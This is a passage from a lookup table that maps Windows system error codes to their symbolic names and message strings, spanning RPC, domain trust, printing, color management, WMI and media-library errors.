0x000006af: ("RPC_S_ALREADY_REGISTERED", "The object universal unique identifier (UUID) has already been registered."),
0x000006b0: ("RPC_S_TYPE_ALREADY_REGISTERED", "The type universal unique identifier (UUID) has already been registered."),
0x000006b1: ("RPC_S_ALREADY_LISTENING", "The RPC server is already listening."),
0x000006b2: ("RPC_S_NO_PROTSEQS_REGISTERED", "No protocol sequences have been registered."),
0x000006b3: ("RPC_S_NOT_LISTENING", "The RPC server is not listening."),
0x000006b4: ("RPC_S_UNKNOWN_MGR_TYPE", "The manager type is unknown."),
0x000006b5: ("RPC_S_UNKNOWN_IF", "The interface is unknown."),
0x000006b6: ("RPC_S_NO_BINDINGS", "There are no bindings."),
0x000006b7: ("RPC_S_NO_PROTSEQS", "There are no protocol sequences."),
0x000006b8: ("RPC_S_CANT_CREATE_ENDPOINT", "The endpoint cannot be created."),
0x000006b9: ("RPC_S_OUT_OF_RESOURCES", "Not enough resources are available to complete this operation."),
0x000006ba: ("RPC_S_SERVER_UNAVAILABLE", "The RPC server is unavailable."),
0x000006bb: ("RPC_S_SERVER_TOO_BUSY", "The RPC server is too busy to complete this operation."),
0x000006bc: ("RPC_S_INVALID_NETWORK_OPTIONS", "The network options are invalid."),
0x000006bd: ("RPC_S_NO_CALL_ACTIVE", "There are no remote procedure calls active on this thread."),
0x000006be: ("RPC_S_CALL_FAILED", "The remote procedure call failed."),
0x000006bf: ("RPC_S_CALL_FAILED_DNE", "The remote procedure call failed and did not execute."),
0x000006c0: ("RPC_S_PROTOCOL_ERROR", "A remote procedure call (RPC) protocol error occurred."),
0x000006c1: ("RPC_S_PROXY_ACCESS_DENIED", "Access to the HTTP proxy is denied."),
0x000006c2: ("RPC_S_UNSUPPORTED_TRANS_SYN", "The transfer syntax is not supported by the RPC server."),
0x000006c4: ("RPC_S_UNSUPPORTED_TYPE", "The universal unique identifier (UUID) type is not supported."),
0x000006c5: ("RPC_S_INVALID_TAG", "The tag is invalid."),
0x000006c6: ("RPC_S_INVALID_BOUND", "The array bounds are invalid."),
0x000006c7: ("RPC_S_NO_ENTRY_NAME", "The binding does not contain an entry name."),
0x000006c8: ("RPC_S_INVALID_NAME_SYNTAX", "The name syntax is invalid."),
0x000006c9: ("RPC_S_UNSUPPORTED_NAME_SYNTAX", "The name syntax is not supported."),
0x000006cb: ("RPC_S_UUID_NO_ADDRESS", "No network address is available to use to construct a universal unique identifier (UUID)."),
0x000006cc: ("RPC_S_DUPLICATE_ENDPOINT", "The endpoint is a duplicate."),
0x000006cd: ("RPC_S_UNKNOWN_AUTHN_TYPE", "The authentication type is unknown."),
0x000006ce: ("RPC_S_MAX_CALLS_TOO_SMALL", "The maximum number of calls is too small."),
0x000006cf: ("RPC_S_STRING_TOO_LONG", "The string is too long."),
0x000006d0: ("RPC_S_PROTSEQ_NOT_FOUND", "The RPC protocol sequence was not found."),
0x000006d1: ("RPC_S_PROCNUM_OUT_OF_RANGE", "The procedure number is out of range."),
0x000006d2: ("RPC_S_BINDING_HAS_NO_AUTH", "The binding does not contain any authentication information."),
0x000006d3: ("RPC_S_UNKNOWN_AUTHN_SERVICE", "The authentication service is unknown."),
0x000006d4: ("RPC_S_UNKNOWN_AUTHN_LEVEL", "The authentication level is unknown."),
0x000006d5: ("RPC_S_INVALID_AUTH_IDENTITY", "The security context is invalid."),
0x000006d6: ("RPC_S_UNKNOWN_AUTHZ_SERVICE", "The authorization service is unknown."),
0x000006d7: ("EPT_S_INVALID_ENTRY", "The entry is invalid."),
0x000006d8: ("EPT_S_CANT_PERFORM_OP", "The server endpoint cannot perform the operation."),
0x000006d9: ("EPT_S_NOT_REGISTERED", "There are no more endpoints available from the endpoint mapper."),
0x000006da: ("RPC_S_NOTHING_TO_EXPORT", "No interfaces have been exported."),
0x000006db: ("RPC_S_INCOMPLETE_NAME", "The entry name is incomplete."),
0x000006dc: ("RPC_S_INVALID_VERS_OPTION", "The version option is invalid."),
0x000006dd: ("RPC_S_NO_MORE_MEMBERS", "There are no more members."),
0x000006de: ("RPC_S_NOT_ALL_OBJS_UNEXPORTED", "There is nothing to unexport."),
0x000006df: ("RPC_S_INTERFACE_NOT_FOUND", "The interface was not found."),
0x000006e0: ("RPC_S_ENTRY_ALREADY_EXISTS", "The entry already exists."),
0x000006e1: ("RPC_S_ENTRY_NOT_FOUND", "The entry is not found."),
0x000006e2: ("RPC_S_NAME_SERVICE_UNAVAILABLE", "The name service is unavailable."),
0x000006e3: ("RPC_S_INVALID_NAF_ID", "The network address family is invalid."),
0x000006e4: ("RPC_S_CANNOT_SUPPORT", "The requested operation is not supported."),
0x000006e5: ("RPC_S_NO_CONTEXT_AVAILABLE", "No security context is available to allow impersonation."),
0x000006e6: ("RPC_S_INTERNAL_ERROR", "An internal error occurred in a remote procedure call (RPC)."),
0x000006e7: ("RPC_S_ZERO_DIVIDE", "The RPC server attempted an integer division by zero."),
0x000006e8: ("RPC_S_ADDRESS_ERROR", "An addressing error occurred in the RPC server."),
0x000006e9: ("RPC_S_FP_DIV_ZERO", "A floating-point operation at the RPC server caused a division by zero."),
0x000006ea: ("RPC_S_FP_UNDERFLOW", "A floating-point underflow occurred at the RPC server."),
0x000006eb: ("RPC_S_FP_OVERFLOW", "A floating-point overflow occurred at the RPC server."),
0x000006ec: ("RPC_X_NO_MORE_ENTRIES", "The list of RPC servers available for the binding of auto handles has been exhausted."),
0x000006ed: ("RPC_X_SS_CHAR_TRANS_OPEN_FAIL", "Unable to open the character translation table file."),
0x000006ee: ("RPC_X_SS_CHAR_TRANS_SHORT_FILE", "The file containing the character translation table has fewer than 512 bytes."),
0x000006ef: ("RPC_X_SS_IN_NULL_CONTEXT", "A null context handle was passed from the client to the host during a remote procedure call."),
0x000006f1: ("RPC_X_SS_CONTEXT_DAMAGED", "The context handle changed during a remote procedure call."),
0x000006f2: ("RPC_X_SS_HANDLES_MISMATCH", "The binding handles passed to a remote procedure call do not match."),
0x000006f3: ("RPC_X_SS_CANNOT_GET_CALL_HANDLE", "The stub is unable to get the remote procedure call handle."),
0x000006f4: ("RPC_X_NULL_REF_POINTER", "A null reference pointer was passed to the stub."),
0x000006f5: ("RPC_X_ENUM_VALUE_OUT_OF_RANGE", "The enumeration value is out of range."),
0x000006f6: ("RPC_X_BYTE_COUNT_TOO_SMALL", "The byte count is too small."),
0x000006f7: ("RPC_X_BAD_STUB_DATA", "The stub received bad data."),
0x000006f8: ("ERROR_INVALID_USER_BUFFER", "The supplied user buffer is not valid for the requested operation."),
0x000006f9: ("ERROR_UNRECOGNIZED_MEDIA", "The disk media is not recognized. It may not be formatted."),
0x000006fa: ("ERROR_NO_TRUST_LSA_SECRET", "The workstation does not have a trust secret."),
0x000006fb: ("ERROR_NO_TRUST_SAM_ACCOUNT", "The security database on the server does not have a computer account for this workstation trust relationship."),
0x000006fc: ("ERROR_TRUSTED_DOMAIN_FAILURE", "The trust relationship between the primary domain and the trusted domain failed."),
0x000006fd: ("ERROR_TRUSTED_RELATIONSHIP_FAILURE", "The trust relationship between this workstation and the primary domain failed."),
0x000006fe: ("ERROR_TRUST_FAILURE", "The network logon failed."),
0x000006ff: ("RPC_S_CALL_IN_PROGRESS", "A remote procedure call is already in progress for this thread."),
0x00000700: ("ERROR_NETLOGON_NOT_STARTED", "An attempt was made to logon, but the network logon service was not started."),
0x00000701: ("ERROR_ACCOUNT_EXPIRED", "The user's account has expired."),
0x00000702: ("ERROR_REDIRECTOR_HAS_OPEN_HANDLES", "The redirector is in use and cannot be unloaded."),
0x00000703: ("ERROR_PRINTER_DRIVER_ALREADY_INSTALLED", "The specified printer driver is already installed."),
0x00000704: ("ERROR_UNKNOWN_PORT", "The specified port is unknown."),
0x00000705: ("ERROR_UNKNOWN_PRINTER_DRIVER", "The printer driver is unknown."),
0x00000706: ("ERROR_UNKNOWN_PRINTPROCESSOR", "The print processor is unknown."),
0x00000707: ("ERROR_INVALID_SEPARATOR_FILE", "The specified separator file is invalid."),
0x00000708: ("ERROR_INVALID_PRIORITY", "The specified priority is invalid."),
0x00000709: ("ERROR_INVALID_PRINTER_NAME", "The printer name is invalid."),
0x0000070a: ("ERROR_PRINTER_ALREADY_EXISTS", "The printer already exists."),
0x0000070b: ("ERROR_INVALID_PRINTER_COMMAND", "The printer command is invalid."),
0x0000070c: ("ERROR_INVALID_DATATYPE", "The specified datatype is invalid."),
0x0000070d: ("ERROR_INVALID_ENVIRONMENT", "The environment specified is invalid."),
0x0000070e: ("RPC_S_NO_MORE_BINDINGS", "There are no more bindings."),
0x0000070f: ("ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT", "The account used is an interdomain trust account. Use your global user account or local user account to access this server."),
0x00000710: ("ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT", "The account used is a computer account. Use your global user account or local user account to access this server."),
0x00000711: ("ERROR_NOLOGON_SERVER_TRUST_ACCOUNT", "The account used is a server trust account. Use your global user account or local user account to access this server."),
0x00000712: ("ERROR_DOMAIN_TRUST_INCONSISTENT", "The name or security ID (SID) of the domain specified is inconsistent with the trust information for that domain."),
0x00000713: ("ERROR_SERVER_HAS_OPEN_HANDLES", "The server is in use and cannot be unloaded."),
0x00000714: ("ERROR_RESOURCE_DATA_NOT_FOUND", "The specified image file did not contain a resource section."),
0x00000715: ("ERROR_RESOURCE_TYPE_NOT_FOUND", "The specified resource type cannot be found in the image file."),
0x00000716: ("ERROR_RESOURCE_NAME_NOT_FOUND", "The specified resource name cannot be found in the image file."),
0x00000717: ("ERROR_RESOURCE_LANG_NOT_FOUND", "The specified resource language ID cannot be found in the image file."),
0x00000718: ("ERROR_NOT_ENOUGH_QUOTA", "Not enough quota is available to process this command."),
0x00000719: ("RPC_S_NO_INTERFACES", "No interfaces have been registered."),
0x0000071a: ("RPC_S_CALL_CANCELLED", "The remote procedure call was cancelled."),
0x0000071b: ("RPC_S_BINDING_INCOMPLETE", "The binding handle does not contain all required information."),
0x0000071c: ("RPC_S_COMM_FAILURE", "A communications failure occurred during a remote procedure call."),
0x0000071d: ("RPC_S_UNSUPPORTED_AUTHN_LEVEL", "The requested authentication level is not supported."),
0x0000071e: ("RPC_S_NO_PRINC_NAME", "No principal name registered."),
0x0000071f: ("RPC_S_NOT_RPC_ERROR", "The error specified is not a valid Windows RPC error code."),
0x00000720: ("RPC_S_UUID_LOCAL_ONLY", "A UUID that is valid only on this computer has been allocated."),
0x00000721: ("RPC_S_SEC_PKG_ERROR", "A security package specific error occurred."),
0x00000722: ("RPC_S_NOT_CANCELLED", "Thread is not canceled."),
0x00000723: ("RPC_X_INVALID_ES_ACTION", "Invalid operation on the encoding/decoding handle."),
0x00000724: ("RPC_X_WRONG_ES_VERSION", "Incompatible version of the serializing package."),
0x00000725: ("RPC_X_WRONG_STUB_VERSION", "Incompatible version of the RPC stub."),
0x00000726: ("RPC_X_INVALID_PIPE_OBJECT", "The RPC pipe object is invalid or corrupted."),
0x00000727: ("RPC_X_WRONG_PIPE_ORDER", "An invalid operation was attempted on an RPC pipe object."),
0x00000728: ("RPC_X_WRONG_PIPE_VERSION", "Unsupported RPC pipe version."),
0x00000729: ("RPC_S_COOKIE_AUTH_FAILED", "HTTP proxy server rejected the connection because the cookie authentication failed."),
0x0000076a: ("RPC_S_GROUP_MEMBER_NOT_FOUND", "The group member was not found."),
0x0000076b: ("EPT_S_CANT_CREATE", "The endpoint mapper database entry could not be created."),
0x0000076c: ("RPC_S_INVALID_OBJECT", "The object universal unique identifier (UUID) is the nil UUID."),
0x0000076d: ("ERROR_INVALID_TIME", "The specified time is invalid."),
0x0000076e: ("ERROR_INVALID_FORM_NAME", "The specified form name is invalid."),
0x0000076f: ("ERROR_INVALID_FORM_SIZE", "The specified form size is invalid."),
0x00000770: ("ERROR_ALREADY_WAITING", "The specified printer handle is already being waited on"),
0x00000771: ("ERROR_PRINTER_DELETED", "The specified printer has been deleted."),
0x00000772: ("ERROR_INVALID_PRINTER_STATE", "The state of the printer is invalid."),
0x00000773: ("ERROR_PASSWORD_MUST_CHANGE", "The user's password must be changed before signing in."),
0x00000774: ("ERROR_DOMAIN_CONTROLLER_NOT_FOUND", "Could not find the domain controller for this domain."),
0x00000775: ("ERROR_ACCOUNT_LOCKED_OUT", "The referenced account is currently locked out and may not be logged on to."),
0x00000776: ("OR_INVALID_OXID", "The object exporter specified was not found."),
0x00000777: ("OR_INVALID_OID", "The object specified was not found."),
0x00000778: ("OR_INVALID_SET", "The object resolver set specified was not found."),
0x00000779: ("RPC_S_SEND_INCOMPLETE", "Some data remains to be sent in the request buffer."),
0x0000077a: ("RPC_S_INVALID_ASYNC_HANDLE", "Invalid asynchronous remote procedure call handle."),
0x0000077b: ("RPC_S_INVALID_ASYNC_CALL", "Invalid asynchronous RPC call handle for this operation."),
0x0000077c: ("RPC_X_PIPE_CLOSED", "The RPC pipe object has already been closed."),
0x0000077d: ("RPC_X_PIPE_DISCIPLINE_ERROR", "The RPC call completed before all pipes were processed."),
0x0000077e: ("RPC_X_PIPE_EMPTY", "No more data is available from the RPC pipe."),
0x0000077f: ("ERROR_NO_SITENAME", "No site name is available for this machine."),
0x00000780: ("ERROR_CANT_ACCESS_FILE", "The file cannot be accessed by the system."),
0x00000781: ("ERROR_CANT_RESOLVE_FILENAME", "The name of the file cannot be resolved by the system."),
0x00000782: ("RPC_S_ENTRY_TYPE_MISMATCH", "The entry is not of the expected type."),
0x00000783: ("RPC_S_NOT_ALL_OBJS_EXPORTED", "Not all object UUIDs could be exported to the specified entry."),
0x00000784: ("RPC_S_INTERFACE_NOT_EXPORTED", "Interface could not be exported to the specified entry."),
0x00000785: ("RPC_S_PROFILE_NOT_ADDED", "The specified profile entry could not be added."),
0x00000786: ("RPC_S_PRF_ELT_NOT_ADDED", "The specified profile element could not be added."),
0x00000787: ("RPC_S_PRF_ELT_NOT_REMOVED", "The specified profile element could not be removed."),
0x00000788: ("RPC_S_GRP_ELT_NOT_ADDED", "The group element could not be added."),
0x00000789: ("RPC_S_GRP_ELT_NOT_REMOVED", "The group element could not be removed."),
0x0000078a: ("ERROR_KM_DRIVER_BLOCKED", "The printer driver is not compatible with a policy enabled on your computer that blocks NT 4.0 drivers."),
0x0000078b: ("ERROR_CONTEXT_EXPIRED", "The context has expired and can no longer be used."),
0x0000078c: ("ERROR_PER_USER_TRUST_QUOTA_EXCEEDED", "The current user's delegated trust creation quota has been exceeded."),
0x0000078d: ("ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED", "The total delegated trust creation quota has been exceeded."),
0x0000078e: ("ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED", "The current user's delegated trust deletion quota has been exceeded."),
0x0000078f: ("ERROR_AUTHENTICATION_FIREWALL_FAILED", "The computer you are signing into is protected by an authentication firewall. The specified account is not allowed to authenticate to the computer."),
0x00000790: ("ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED", "Remote connections to the Print Spooler are blocked by a policy set on your machine."),
0x00000791: ("ERROR_NTLM_BLOCKED", "Authentication failed because NTLM authentication has been disabled."),
0x00000792: ("ERROR_PASSWORD_CHANGE_REQUIRED", "Logon Failure: EAS policy requires that the user change their password before this operation can be performed."),
0x000007d0: ("ERROR_INVALID_PIXEL_FORMAT", "The pixel format is invalid."),
0x000007d1: ("ERROR_BAD_DRIVER", "The specified driver is invalid."),
0x000007d2: ("ERROR_INVALID_WINDOW_STYLE", "The window style or class attribute is invalid for this operation."),
0x000007d3: ("ERROR_METAFILE_NOT_SUPPORTED", "The requested metafile operation is not supported."),
0x000007d4: ("ERROR_TRANSFORM_NOT_SUPPORTED", "The requested transformation operation is not supported."),
0x000007d5: ("ERROR_CLIPPING_NOT_SUPPORTED", "The requested clipping operation is not supported."),
0x000007da: ("ERROR_INVALID_CMM", "The specified color management module is invalid."),
0x000007db: ("ERROR_INVALID_PROFILE", "The specified color profile is invalid."),
0x000007dc: ("ERROR_TAG_NOT_FOUND", "The specified tag was not found."),
0x000007dd: ("ERROR_TAG_NOT_PRESENT", "A required tag is not present."),
0x000007de: ("ERROR_DUPLICATE_TAG", "The specified tag is already present."),
0x000007df: ("ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE", "The specified color profile is not associated with the specified device."),
0x000007e0: ("ERROR_PROFILE_NOT_FOUND", "The specified color profile was not found."),
0x000007e1: ("ERROR_INVALID_COLORSPACE", "The specified color space is invalid."),
0x000007e2: ("ERROR_ICM_NOT_ENABLED", "Image Color Management is not enabled."),
0x000007e3: ("ERROR_DELETING_ICM_XFORM", "There was an error while deleting the color transform."),
0x000007e4: ("ERROR_INVALID_TRANSFORM", "The specified color transform is invalid."),
0x000007e5: ("ERROR_COLORSPACE_MISMATCH", "The specified transform does not match the bitmap's color space."),
0x000007e6: ("ERROR_INVALID_COLORINDEX", "The specified named color index is not present in the profile."),
0x000007e7: ("ERROR_PROFILE_DOES_NOT_MATCH_DEVICE", "The specified profile is intended for a device of a different type than the specified device."),
0x0000083c: ("ERROR_CONNECTED_OTHER_PASSWORD", "The network connection was made successfully, but the user had to be prompted for a password other than the one originally specified."),
0x0000083d: ("ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT", "The network connection was made successfully using default credentials."),
0x0000089a: ("ERROR_BAD_USERNAME", "The specified username is invalid."),
0x000008ca: ("ERROR_NOT_CONNECTED", "This network connection does not exist."),
0x00000961: ("ERROR_OPEN_FILES", "This network connection has files open or requests pending."),
0x00000962: ("ERROR_ACTIVE_CONNECTIONS", "Active connections still exist."),
0x00000964: ("ERROR_DEVICE_IN_USE", "The device is in use by an active process and cannot be disconnected."),
0x00000bb8: ("ERROR_UNKNOWN_PRINT_MONITOR", "The specified print monitor is unknown."),
0x00000bb9: ("ERROR_PRINTER_DRIVER_IN_USE", "The specified printer driver is currently in use."),
0x00000bba: ("ERROR_SPOOL_FILE_NOT_FOUND", "The spool file was not found."),
0x00000bbb: ("ERROR_SPL_NO_STARTDOC", "A StartDocPrinter call was not issued."),
0x00000bbc: ("ERROR_SPL_NO_ADDJOB", "An AddJob call was not issued."),
0x00000bbd: ("ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED", "The specified print processor has already been installed."),
0x00000bbe: ("ERROR_PRINT_MONITOR_ALREADY_INSTALLED", "The specified print monitor has already been installed."),
0x00000bbf: ("ERROR_INVALID_PRINT_MONITOR", "The specified print monitor does not have the required functions."),
0x00000bc0: ("ERROR_PRINT_MONITOR_IN_USE", "The specified print monitor is currently in use."),
0x00000bc1: ("ERROR_PRINTER_HAS_JOBS_QUEUED", "The requested operation is not allowed when there are jobs queued to the printer."),
0x00000bc2: ("ERROR_SUCCESS_REBOOT_REQUIRED", "The requested operation is successful. Changes will not be effective until the system is rebooted."),
0x00000bc3: ("ERROR_SUCCESS_RESTART_REQUIRED", "The requested operation is successful. Changes will not be effective until the service is restarted."),
0x00000bc4: ("ERROR_PRINTER_NOT_FOUND", "No printers were found."),
0x00000bc5: ("ERROR_PRINTER_DRIVER_WARNED", "The printer driver is known to be unreliable."),
0x00000bc6: ("ERROR_PRINTER_DRIVER_BLOCKED", "The printer driver is known to harm the system."),
0x00000bc7: ("ERROR_PRINTER_DRIVER_PACKAGE_IN_USE", "The specified printer driver package is currently in use."),
0x00000bc8: ("ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND", "Unable to find a core driver package that is required by the printer driver package."),
0x00000bc9: ("ERROR_FAIL_REBOOT_REQUIRED", "The requested operation failed. A system reboot is required to roll back changes made."),
0x00000bca: ("ERROR_FAIL_REBOOT_INITIATED", "The requested operation failed. A system reboot has been initiated to roll back changes made."),
0x00000bcb: ("ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED", "The specified printer driver was not found on the system and needs to be downloaded."),
0x00000bcc: ("ERROR_PRINT_JOB_RESTART_REQUIRED", "The requested print job has failed to print. A print system update requires the job to be resubmitted."),
0x00000bcd: ("ERROR_INVALID_PRINTER_DRIVER_MANIFEST", "The printer driver does not contain a valid manifest, or contains too many manifests."),
0x00000bce: ("ERROR_PRINTER_NOT_SHAREABLE", "The specified printer cannot be shared."),
0x00000bea: ("ERROR_REQUEST_PAUSED", "The operation was paused."),
0x00000f6e: ("ERROR_IO_REISSUE_AS_CACHED", "Reissue the given operation as a cached IO operation"),
0x00000fa0: ("ERROR_WINS_INTERNAL", "WINS encountered an error while processing the command."),
0x00000fa1: ("ERROR_CAN_NOT_DEL_LOCAL_WINS", "The local WINS cannot be deleted."),
0x00000fa2: ("ERROR_STATIC_INIT", "The importation from the file failed."),
0x00000fa3: ("ERROR_INC_BACKUP", "The backup failed. Was a full backup done before?"),
0x00000fa4: ("ERROR_FULL_BACKUP", "The backup failed. Check the directory to which you are backing the database."),
0x00000fa5: ("ERROR_REC_NON_EXISTENT", "The name does not exist in the WINS database."),
0x00000fa6: ("ERROR_RPL_NOT_ALLOWED", "Replication with a nonconfigured partner is not allowed."),
0x00000fd2: ("PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED", "The version of the supplied content information is not supported."),
0x00000fd3: ("PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO", "The supplied content information is malformed."),
0x00000fd4: ("PEERDIST_ERROR_MISSING_DATA", "The requested data cannot be found in local or peer caches."),
0x00000fd5: ("PEERDIST_ERROR_NO_MORE", "No more data is available or required."),
0x00000fd6: ("PEERDIST_ERROR_NOT_INITIALIZED", "The supplied object has not been initialized."),
0x00000fd7: ("PEERDIST_ERROR_ALREADY_INITIALIZED", "The supplied object has already been initialized."),
0x00000fd8: ("PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS", "A shutdown operation is already in progress."),
0x00000fd9: ("PEERDIST_ERROR_INVALIDATED", "The supplied object has already been invalidated."),
0x00000fda: ("PEERDIST_ERROR_ALREADY_EXISTS", "An element already exists and was not replaced."),
0x00000fdb: ("PEERDIST_ERROR_OPERATION_NOTFOUND", "Can not cancel the requested operation as it has already been completed."),
0x00000fdc: ("PEERDIST_ERROR_ALREADY_COMPLETED", "Can not perform the reqested operation because it has already been carried out."),
0x00000fdd: ("PEERDIST_ERROR_OUT_OF_BOUNDS", "An operation accessed data beyond the bounds of valid data."),
0x00000fde: ("PEERDIST_ERROR_VERSION_UNSUPPORTED", "The requested version is not supported."),
0x00000fdf: ("PEERDIST_ERROR_INVALID_CONFIGURATION", "A configuration value is invalid."),
0x00000fe0: ("PEERDIST_ERROR_NOT_LICENSED", "The SKU is not licensed."),
0x00000fe1: ("PEERDIST_ERROR_SERVICE_UNAVAILABLE", "PeerDist Service is still initializing and will be available shortly."),
0x00000fe2: ("PEERDIST_ERROR_TRUST_FAILURE", "Communication with one or more computers will be temporarily blocked due to recent errors."),
0x00001004: ("ERROR_DHCP_ADDRESS_CONFLICT", "The DHCP client has obtained an IP address that is already in use on the network. The local interface will be disabled until the DHCP client can obtain a new address."),
0x00001068: ("ERROR_WMI_GUID_NOT_FOUND", "The GUID passed was not recognized as valid by a WMI data provider."),
0x00001069: ("ERROR_WMI_INSTANCE_NOT_FOUND", "The instance name passed was not recognized as valid by a WMI data provider."),
0x0000106a: ("ERROR_WMI_ITEMID_NOT_FOUND", "The data item ID passed was not recognized as valid by a WMI data provider."),
0x0000106b: ("ERROR_WMI_TRY_AGAIN", "The WMI request could not be completed and should be retried."),
0x0000106c: ("ERROR_WMI_DP_NOT_FOUND", "The WMI data provider could not be located."),
0x0000106d: ("ERROR_WMI_UNRESOLVED_INSTANCE_REF", "The WMI data provider references an instance set that has not been registered."),
0x0000106e: ("ERROR_WMI_ALREADY_ENABLED", "The WMI data block or event notification has already been enabled."),
0x0000106f: ("ERROR_WMI_GUID_DISCONNECTED", "The WMI data block is no longer available."),
0x00001070: ("ERROR_WMI_SERVER_UNAVAILABLE", "The WMI data service is not available."),
0x00001071: ("ERROR_WMI_DP_FAILED", "The WMI data provider failed to carry out the request."),
0x00001072: ("ERROR_WMI_INVALID_MOF", "The WMI MOF information is not valid."),
0x00001073: ("ERROR_WMI_INVALID_REGINFO", "The WMI registration information is not valid."),
0x00001074: ("ERROR_WMI_ALREADY_DISABLED", "The WMI data block or event notification has already been disabled."),
0x00001075: ("ERROR_WMI_READ_ONLY", "The WMI data item or data block is read only."),
0x00001076: ("ERROR_WMI_SET_FAILURE", "The WMI data item or data block could not be changed."),
0x0000109a: ("ERROR_NOT_APPCONTAINER", "This operation is only valid in the context of an app container."),
0x0000109b: ("ERROR_APPCONTAINER_REQUIRED", "This application can only run in the context of an app container."),
0x0000109c: ("ERROR_NOT_SUPPORTED_IN_APPCONTAINER", "This functionality is not supported in the context of an app container."),
0x0000109d: ("ERROR_INVALID_PACKAGE_SID_LENGTH", "The length of the SID supplied is not a valid length for app container SIDs."),
0x000010cc: ("ERROR_INVALID_MEDIA", "The media identifier does not represent a valid medium."),
0x000010cd: ("ERROR_INVALID_LIBRARY", "The library identifier does not represent a valid library."),
0x000010ce: ("ERROR_INVALID_MEDIA_POOL", "The media pool identifier does not represent a valid media pool."),
0x000010cf: ("ERROR_DRIVE_MEDIA_MISMATCH", "The drive and medium are not compatible or exist in different libraries."),
0x000010d0: ("ERROR_MEDIA_OFFLINE", "The medium currently exists in an offline library and must be online to perform this operation."),
0x000010d1: ("ERROR_LIBRARY_OFFLINE", "The operation cannot be performed on an offline library."),
0x000010d2: ("ERROR_EMPTY", "The library, drive, or media pool is empty."),
0x000010d3: ("ERROR_NOT_EMPTY", "The library, drive, or media pool must be empty to perform this operation."),
0x000010d4: ("ERROR_MEDIA_UNAVAILABLE", "No media is currently available in this media pool or library."),
0x000010d5: ("ERROR_RESOURCE_DISABLED", "A resource required for this operation is disabled."),
0x000010d6: ("ERROR_INVALID_CLEANER", "The media identifier does not represent a valid cleaner."),
0x000010d7: ("ERROR_UNABLE_TO_CLEAN", "The drive cannot be cleaned or does not support cleaning."),
0x000010d8: ("ERROR_OBJECT_NOT_FOUND", "The object identifier does not represent a valid object."),
0x000010d9: ("ERROR_DATABASE_FAILURE", "Unable to read from or write to the database."),
0x000010da: ("ERROR_DATABASE_FULL", "The database is full."),
0x000010db: ("ERROR_MEDIA_INCOMPATIBLE", "The medium is not compatible with the device or media pool."),
0x000010dc: ("ERROR_RESOURCE_NOT_PRESENT", "The resource required for this operation does not exist."),
0x000010dd: ("ERROR_INVALID_OPERATION", "The operation identifier is not valid."),
0x000010de: ("ERROR_MEDIA_NOT_AVAILABLE", "The media is not mounted or ready for use."),
0x000010df: ("ERROR_DEVICE_NOT_AVAILABLE", "The device is not ready for use."),
0x000010e0: ("ERROR_REQUEST_REFUSED", "The operator or administrator has refused the request."),
0x000010e1: ("ERROR_INVALID_DRIVE_OBJECT", "The drive identifier does not represent a valid drive."),
0x000010e2: ("ERROR_LIBRARY_FULL", "Library is full. No slot is available for use."),
0x000010e3: ("ERROR_MEDIUM_NOT_ACCESSIBLE", "The transport cannot access the medium."),
0x000010e4: ("ERROR_UNABLE_TO_LOAD_MEDIUM", "Unable to load the medium into the drive."),
0x000010e5: ("ERROR_UNABLE_TO_INVENTORY_DRIVE", "Unable to retrieve the drive status."),
0x000010e6: ("ERROR_UNABLE_TO_INVENTORY_SLOT", "Unable to retrieve the slot status."),
0x000010e7: ("ERROR_UNABLE_TO_INVENTORY_TRANSPORT", "Unable to retrieve status about the transport."),
0x000010e8: ("ERROR_TRANSPORT_FULL", "Cannot use the transport because it is already in use."),
0x000010e9: ("ERROR_CONTROLLING_IEPORT", "Unable to open or close the inject/eject port."),
0x000010ea: ("ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA", "Unable to eject the medium because it is in a drive."),
0x000010eb: ("ERROR_CLEANER_SLOT_SET", "A cleaner slot is already reserved."),
0x000010ec: ("ERROR_CLEANER_SLOT_NOT_SET", "A cleaner slot is not reserved."),
0x000010ed: ("ERROR_CLEANER_CARTRIDGE_SPENT", "The cleaner cartridge has performed the maximum number of drive cleanings."),
0x000010ee: ("ERROR_UNEXPECTED_OMID", "Unexpected on-medium identifier."),
0x000010ef: ("ERROR_CANT_DELETE_LAST_ITEM", "The last remaining item in this group or resource cannot be deleted."),
0x000010f0: ("ERROR_MESSAGE_EXCEEDS_MAX_SIZE", "The message provided exceeds the maximum size allowed for this parameter."),
0x000010f1: ("ERROR_VOLUME_CONTAINS_SYS_FILES", "The volume contains system or paging files."),
0x000010f2: ("ERROR_INDIGENOUS_TYPE", "The media type cannot be removed from this library since at least one drive in the library reports it can support this media type."),
0x000010f3: ("ERROR_NO_SUPPORTING_DRIVES", "This offline media cannot be mounted on this system since no enabled drives are present which can be used."),
0x000010f4: ("ERROR_CLEANER_CARTRIDGE_INSTALLED", "A cleaner cartridge is present in the tape library."),
0x000010f5: ("ERROR_IEPORT_FULL", "Cannot use the inject/eject port because it is not empty."),
0x000010fe: ("ERROR_FILE_OFFLINE", "This file is currently not available for use on this computer."),
0x000010ff: ("ERROR_REMOTE_STORAGE_NOT_ACTIVE", "The remote storage service is not operational at this time."),
0x00001100: ("ERROR_REMOTE_STORAGE_MEDIA_ERROR", "The remote storage service encountered a media error."),
0x00001126: ("ERROR_NOT_A_REPARSE_POINT", "The file or directory is not a reparse point."),
0x00001127: ("ERROR_REPARSE_ATTRIBUTE_CONFLICT", "The reparse point attribute cannot be set because it conflicts with an existing attribute."),
0x00001128: ("ERROR_INVALID_REPARSE_DATA", "The data present in the reparse point buffer is invalid."),
0x00001129: ("ERROR_REPARSE_TAG_INVALID", "The tag present in the reparse point buffer is invalid."),
0x0000112a: ("ERROR_REPARSE_TAG_MISMATCH", "There is a mismatch between the tag specified in the request and the tag present in the reparse point."),
0x00001130: ("ERROR_APP_DATA_NOT_FOUND", "Fast Cache data not found."),
0x00001131: ("ERROR_APP_DATA_EXPIRED", "Fast Cache data expired."),
